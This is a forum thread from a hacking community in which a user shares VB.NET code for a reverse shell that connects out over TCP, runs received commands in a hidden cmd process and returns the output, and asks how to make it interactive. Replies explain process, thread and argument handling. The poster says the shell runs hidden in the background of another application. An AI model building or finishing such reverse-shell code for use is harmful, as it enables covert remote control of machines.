Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

vb 2008 reverse shell


clone4's Avatar
Perl-6 Wisdom Seeker
0 0

here is little something I've trying to cook up in VB, I think that the createprocess API is a right choice, but in current state it doesn't work properly. I found one C# shell that is very similiar, yet wasn't able to correct it. What happens now is that the loop stops printing the 'message' after the first itineration, and even though the shell 'works' I can only execute one word commands, where if I do e.g. dir ../ both dir and ../ are executed separately. Also I'm not able to use the cmd process for multiple commands, so I have to exit after each command and start a new one, pretty much runining the whole idea of interactive shell. I've been googling around and tried about million different implementation of the shell (I'm posting the one that is closest to work) yet still couldn't solve the issues, and get full shell:( (just realized that error stream isn't piped, gonna add that later) Any ideas appreaciated…

Private Sub reverse()
       'define client
       Dim port As Int32 = 1234
       Dim client As New TcpClient("localhost", port)

       'just for the looks
       Dim message
       message = "#-->"
       Dim data As [Byte]() = System.Text.Encoding.ASCII.GetBytes(Message)

       'write and read stream
       Dim stream As NetworkStream = client.GetStream()

       While True

           stream.Write(data, 0, data.Length)

           Dim responseData As [String] = [String].Empty

           Dim bytes As Int32 = Stream.Read(Data, 0, Data.Length)
           responseData = System.Text.Encoding.ASCII.GetString(data, 0, bytes)

           Dim myprocess As New Process
           Dim StartInfo As New System.Diagnostics.ProcessStartInfo
           StartInfo.FileName = "cmd"
           StartInfo.RedirectStandardInput = True
           StartInfo.RedirectStandardOutput = True
           StartInfo.CreateNoWindow = True
           StartInfo.UseShellExecute = False
           myprocess.StartInfo = StartInfo
           myprocess.Start()
           Dim SR As System.IO.StreamReader = myprocess.StandardOutput
           Dim SW As System.IO.StreamWriter = myprocess.StandardInput
           SW.WriteLine(responseData)
           SW.WriteLine("exit")
           Dim cmds
           cmds = SR.ReadToEnd()
           Dim datam As [Byte]() = System.Text.Encoding.ASCII.GetBytes(cmds)
           stream.Write(datam, 0, datam.Length)
           If responseData = "exit" Then
               Exit While
           End If
           SW.Close()
           SR.Close()
       End While

       stream.Close()
       client.Close()
   End Sub

ghost's Avatar
0 0

Ok, there are a couple things you should look to change in your 'shell.'

  1. In order to execute "dir ../" as a full call and not "dir" and "../" separately, you must start by taking in the whole command (until \n). From there, you must set the "Arguments" field of the process you are going to create to exactly what the user entered. Yes, "dir ../", not just "../". (Well, that's how you would use it with the normal C system calls)

  2. Do not launch "cmd" for every command. You're making the shell, not writing an interface to one, there is no point in that. Instead, do the process management in your own program: take in the command, execute as necessary.

  3. If you take me up on 2), make sure to manage the processes you create! You must reap all processes you create or they will hold onto system memory until you exit the 'shell.' I'm sure you can research this, I won't explain it all here.

  4. CreateProcess() is not a bad idea, but I would recommend you look into threads. Processes are traditionally 'heavy weight' where threads are 'light weight.' To put it simply, it requires a lot more work to complete a context switch between processes compared to threads. Oh and by default, the OS (assumed to be Windows in this case) will preform the thread context switches for you.

  5. If you want to get really fancy, look into background / foreground threads/processes and the ability to manage the child processes' (or threads) by direct calls to the 'shell' and not any actual new threads or processes. Example: "pwd" will return the current working directory for the shell at any given point in time. This is not an OS call at all, it is simply managed by the shell and your 'cd' calls.

I hope this helps, pm me as necessary!


ghost's Avatar
0 0

I guess I will respond here in case anyone else was a bit confused by the above.

Mk, lets us first tackle the Arguments issue since it will apply to every program you run/create. I will reference to C for this portion and note where it might likely changes for VB although I'm not perfectly sure. When you launch a process, the operating system will pass it two arguments (VB might just pass the array of strings):

(int argv, char* argv[])

Basically, you have the number of arguments passed and the multidimensional array of the actual arguments. Within 'argv' you will find everything you typed on the command line to invoke the program. ex: "mv filea fileb" will return three things in 'argv.' ("mv" "filea" "fileb")

So what does this have to do with your code? Well, you will specifically have to pass these arguments to the process you create. You can do this by following the code given on msdn:

http://msdn.microsoft.com/en-us/library/system.diagnostics.processstartinfo.arguments.aspx

Remember, when you set this, you should be passing all the arguments in a single string, not just the name of the program.

Up next, the threads. When you create your program, you have the following picture (at a very high level):


| proc0 | ––>Process context |––––| | thrd0 | ––>Thread context

When you call Thread to make another, you have the following picture:


proc0
thrd0
thrd1

You will end up with two threads, each 'starting out' at the exact point where you called Thread. NOTE: They will each have the exact same view of memory! You can read and write to variables which are global, causing race conditions, for now, leave that out. >.< Anyway, when you call CreateProcess in your new 'thread1' you end up with the following:


proc0
thrd0
thrd1


proc1
thrd0

Now, note, you still have Process0.thread1 sitting around waiting for something to do. (Depending on how you called CreateProcess) If you made the CreateProcess call return automatically, the thread will resume and finish up its context until the return and then RESUME after the call to Thread in Process0. Otherwise, thread1 will wait for Process1 to finish up and then return to do exactly what it would have in the above.

What does this mean? Well, basically, you're creating a new thread to sit around and do nothing until this totally new process finishes up. Why create the thread in the first place is what you're asking, right? Well, that's the point, don't bother with CreateProcess once you already created the thread (or you can just use CreateProcess from thread0 and move on and avoid threading altogether which I would recommend the first time around), instead you will want to use the equivalent of the C call "exec." (With my current understanding before going and reading up on it again, this applies to the whole process image, not just the thread..so you would have to create a new process and then exec accordingly) I highly suggest you go read up on the call, it does some nifty stuff in the background. Come on back if you have any questions.

Now the overall picture: you can avoid using 'cmd!' What you're reading with CreateProcess and Thread is, well, exactly all cmd does at the basic level. It creates a new process/thread and runs the selected command you want. Just do the same thing and avoid 'cmd.' You're creating your own shell afterall. ;)

Once again, any questions, pm me freely.


clone4's Avatar
Perl-6 Wisdom Seeker
0 0

ok sent you pm the moment you posted it, so I guess igonore it and I will have a good read through your post:) Big thanks, and @admins: I think this deserves at least some CP for the guy! :)

edit;just couple of points after full read, the 'unused' thread has actually meaning, it just can't be seen through the snippet, because this code runs as a background for other part of application, the thread is there to separate the reverse shell from the rest of the application, so they are independent entities. And by not using cmd, I kind of limit myself, I mean why execute the commands separately by process call, if I can execute one (cmd) and then go nuts:)? IThere is just the very last issue, which is to get the cmd pipe properly set up, and I can't get my head around it, there isn't that much stuff for vb2008:(


ghost's Avatar
0 0

Ok, in further review of what I just said, please regard the above as just a simple review of threads vs. processes.

In a command shell program, there is pretty much zero reason to create a new thread. You should merely be 'forking' off new processes as ordered by the user. Basically, for each program you want to run, call CreateProcess. The main options you want to focus on are the following: foreground or background process.

If its a foreground process, you can create your new process and wait until it returns to continue working in your shell. Background on the other hand, you will have to create the new process without a new window. (This can be done in a few ways, but there are options you can set with CreateProcess to do it all for you.) This will allow you to continue doing whatever you need to within your shell based on user input. Background processes would be the reason why you don't need multiple threads. :D

Sorry for the confusion about threads, I have my head wrapped around server side networking at the moment. >.<

edit: Explanation of background threads, forgot the main point!